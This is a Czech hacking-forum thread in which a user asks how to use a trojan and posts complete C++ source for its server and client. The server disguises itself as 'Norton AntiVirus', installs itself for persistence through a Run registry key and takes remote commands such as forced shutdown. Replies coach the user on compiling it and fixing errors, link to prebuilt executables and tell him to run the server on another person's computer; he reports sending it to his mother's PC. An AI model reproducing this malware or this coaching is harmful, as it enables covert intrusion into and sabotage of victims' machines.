War Fórum
VARIOUS => Hack => Téma založeno: palbon 15 Listopad 2009, 21:39:45 odpoledne
-
Čaute,dostal sem se ke zdrojovému kódu trojského koně a dokázal bych to i vložit do C++ ale víc nic.Poradil by mi někdo prosím jak přesně využívat trojské koně.Díky moc
***** CODE FOR SERVER FOLLOWS *********
#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;
char Windir[MAX_PATH];
char Module[MAX_PATH];
SOCKET Socket;
void Hide()
{
SetConsoleTitle("Norton AntiVirus");
hide = FindWindow(NULL, "Norton AntiVirus");
ShowWindow(hide, 0);
}
void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, "\\WindowsAPICalls.exe");
}
void Install()
{
CopyFile(Module,Windir,0);
HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}
int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Winsock initialized." << "\n";
}
Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}
else
{
cout << "Socket created." << "\n";
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);
if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}
else
{
cout << "Socket bound successfully." << "\n";
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << "Error listening on socket." << "\n";
SOCKET AcceptSocket;
cout << "Waiting for a client to connect..." << "\n";
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << "Client Connected."<< "\n";
Socket = AcceptSocket;
}
void Shutdown()
{
char Message[MAX_PATH]="Your computer is infected with a malicious virus!";
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}
void OpenCloseCDTray()
{
mciSendString("set cdaudio door open", 0, 0, 0);
mciSendString("set cdaudio door open", 0, 0, 0);
}
void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]="notepad.exe";
for(;;)
{
ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
}
}
void LeftMouse()
{
SwapMouseButton(true);
}
void RightMouse()
{
SwapMouseButton(false);
}
void Receive()
{
for(;;)
{
char Choice[MAX_PATH]="";
cout << "Waiting for commands, sir!" << "\n";
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << "\n";
if (!strcmp(Choice,"1"))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,"2"))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,"3"))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={"CD Tray opened. Closed if not on a laptop."};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,"4"))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}
int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}
***** CODE FOR CLIENT FOLLOWS *********
#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;
SOCKET Socket;
int ClientInitialize()
{
char IP[MAX_PATH];
cout << "Enter IP: ";
cin >> IP;
WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << "Error at WSAStartup()\n";
cin.ignore();
return 0;
}
else
{
cout << "Winsock intialized.\n";
}
Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << "Error at socket(): %ld\n",WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Socket initialized" << "\n";
}
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);
if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << "Failed to connect.\n";
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << "Connected to server." << "\n";
}
}
int exit()
{
return 0;
}
void Send()
{
for(;;)
{
char Choice[MAX_PATH];
cout << "List of commands:" << "\n";
cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
cout << "3. Open\\Close CD Tray" << "\n" << "4. Notepad Bomb" << "\n";
cout << "5. Shutdown." << "\n";
cout << "Take your pick: ";
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
cout << "\n" << "\n" << "\n" << "\n" << "\n";
Sleep(2000);
}
}
int main()
{
SetConsoleTitle(".=.quickbolt's Trojan.=.");
ClientInitialize();
Send();
cin.ignore();
return 0;
}
Edit by Rift: zdrojáky do code
-
Nejdřív ty zdrojáky zkopiluj (stáhni si code::blocks, dev-c++, cokoliv), server použiješ u cizího pc, client spustíš doma.
Server bude čekat na příkazy, pokud se mu podaří se správně spustit. Tady je první chyba, příkazů u klienta je 5, server čeká na 4, sice si tvořitel udělal notepad bomb, ale dále ho nevyužil, asi na něj zapomněl...
Když spustíš klienta, bude to po tobě chtít ip zařízení, kde se nachází server. Zadáš a pak jen zadáváš příkazy z menu (čísla 1-5), klient je odesílá na server a ten činí.
-
A ten zdrojoví kód mám uloožit asi ve formáte .exe že???Ale kde vemu toho klienta a jak donutím ten servr aby toho trojana spustil??
-
Máš tu 2 zdrojové kódy, pro klient a pro server. Udělej to takhle - stáhni třeba dev-cpp (tady je jedno, kolik má chyb)
http://www.bloodshed.net/devcpp.htmlPo spuštění dej Soubor - Nový - Projekt - Prázdný projekt, vyber si cestu a jméno
Pak klikni pravým na ten projekt - Nový soubor
Vlož kód
Spustit - Zkompilovat
To samé udělej s druhým kódem.
Radši si to zkompiluj sám, kdybys to nechal na jiných, mohlo by se tam objevit něco navíc ;)
Server je trojan sám o sobě, když na cizím pc spustíš server, vše už pojede.
-
Už sem to vložil do dev c++ a zkompiloval sem to ale ono se mi to nedaří převís ani jedno do exe a při kompilování mi to hlásí (Could not create Makefile: "C:\Dev-Cpp\Makefile.win" I/O error 32) . Nevíte někdo co s tím??
-
Zkus vypnout a znovu zapnout dev-cpp nebo změnit umístění projektu
Našel jsem ještě pár problémů v kódu, v hide() u serveru je blbě řádek
hide = FindWindow(NULL, "Norton AntiVirus");...změnit na
HWND hide = FindWindow(NULL, "Norton AntiVirus");
Kdyby byl problém s linkerem, stačí ALT+P, Parametry a do Linkeru přidat lib/libwsock32.a
lib/libwinmm.a
Exe máš tady
http://www.edisk.cz/stahni/03651/server.exe_477.52KB.html
http://www.edisk.cz/stahni/51646/client.exe_468.56KB.html
-
Toš ti teda nevím.Stáhl sem si to poslal sem to mamě do kompu a za 1. to po mě chtělo ip adresu a 2. se stejně nic nestalo.A dokonce sem to i na jejím PC spustil a zadal jsem její IPčko.
-
asi to bude OT ale ako si sa dostal k tomu kódu?
-
Doufám, že cílový počítač není v síti s jinými pc, třeba za routerem.
Vypadá to tak, že si ten kód celý přečtu a uvidím, kde je chyba.
-
No mama má net přes wi-fi toš možná ten to nějak kurví!Ale je mi záhadou že to po mě chce IP!!!!!
-
Vždyť jsem ti to psal hned ve svém prvním postu
Když spustíš klienta, bude to po tobě chtít ip zařízení, kde se nachází server.
Kdybys spustit 2 a více serverů, jak bys pak chtěl komunikovat zrovna s tím, se kterým chceš? (ano, jsou i jiné možnosti, jak to vyřešit, ale tady máme zrovna tohle)
-
Se na to hochu vyprdni, kdyz neumis ani zkompilovat zdrojovy kod. Klient-server ti asi taky nic nerika. Nehledne na to, ze jeden z pocitacu musim mit verejnou IP, jinak ti to nepojede. Podle toho jak se ptas na ptakoviny ho ani nebudes umet pouzivat, takze bych to zabalil. Ani jsem nezkoumal funkcnost, nebot to jaksi nema cenu ani pro tebe delat.
to Sharky: zdrojaku se na netu valej tuny, ovsem vetsina volne vypustenych trojanu do obehu je zachychovana antiviry...